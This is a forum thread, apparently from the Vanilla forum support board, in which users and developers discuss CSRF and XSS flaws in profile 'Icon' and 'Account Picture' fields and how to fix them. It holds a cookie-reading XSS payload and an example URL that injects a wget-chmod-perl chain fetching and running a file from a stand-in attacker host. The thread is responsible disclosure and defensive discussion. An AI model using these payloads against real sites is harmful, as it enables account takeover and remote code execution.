Possible Security Flaw

ggaudrea

It seems that the users on my forum have discovered an annoying hack. If, for your account picture, you put people.php?PostBackAction=SignOutNow, then users will be logged out when they view your threads. I had to disable all account profile icons for my site.

Simonb

Wow thats a good joke. Mark, anyone for the intest of safty the account picture should not be php files.

Can't you set it so only png,gif,jpg, etc work.

Mark

That's a CSRF attack, and I could have sworn we caught all of those. I guess we missed that one. I'll add it to the bug tracker so it can be handled.

gulftech

The input parameters "Icon" and "Account Picture" are also vulnerable to html/script injection (The custom Label => Value pairs are affected too) test" onclick=alert(document.cookie); " Inputting the above text in either field will execute the specified JavaScript when the field is clicked on. I wanted to clear up any confusion regarding this vulnerability, as it is NOT the same issue as the XSRF issue, it just uses the same input parameters. Also, in regards to XSRF related issues, it might be a good idea to limit the input accepted by the "Icon" and "Account Picture" to a url containing NO query string, and a valid image extension. Currently a malicious user could place an attack url pointing to a vulnerable web application on another site within the affected fields and have the Vanilla site make the malicious request for them using a url similar to the one below (assuming the issue in the target is a php eval issue in this example) http://example/index.php?page=%27%2eexec(%27wget http://attacker/evilfile%2ejpg;chmod%20+x%20evilfile%2ejpg;perl%20evilfile.jpg%27)%27%2e

dejitaru

how do you disable the icons for everyone without going into each individual profile?

Stash

Stupid question that I'm sure one of the Vanilla guys could answer, but shouldn't we have a "quick little" Vanilla release to fix this issue?

gulftech

Any update on this issue guys?

Dinoboff

I can confirm the XSS vulnerability. I am fixing it.

However, I don't think it can be exploited on your users without a severe CSRF vulnerability. Be careful when visiting, as admin, your user's account setting pages.

Dinoboff

About the forum being used in csrf attack on other site, not allowing query string will break some services (Gravatar) and won't really solve the problem since the attack could use a redirect service like tinyurl.

What about requesting the resource on the server side to check the mime type?

gulftech

Hi Dinoboff, >> However, I don't think it can be exploited on your users without a severe CSRF vulnerability. Be careful when visiting, as admin, your user's account setting pages. Both of these issues can be reliable exploited to get admin access via a stolen cookie with very little social engineering involved. If you are curious feel free to drop me an email, but I do not want to post working examples here as there is the possibility of abuse considering these issues are still unpatched. >> Should I mention gulftech.com in the release note? Please do mention gulftech.org in release notes. Always appreciate getting credit for my findings :) >> About the forum being used in csrf attack on other site, not allowing query string will break some services (Gravatar) and won't really solve the problem since the attack could use a redirect service like tinyurl. What about requesting the resource on the server side to check the mime type? You know, I have never heard a solution to this problem that 100% works without breaking some type of legitimate functionality. Maybe we could limit url's to disallow certain meta characters that would likely never be used in a legit image url. For example ( ) ; It wouldn't fix things 100% but it would mangle attack url's enough to discourage anyone from using it as a reliable proxy? I am going to think on this issue a bit, and if I come up with anything that works better I'll let you guys know. Thanks for your reply, James Bercegay

Stash

I've used ()s in images before...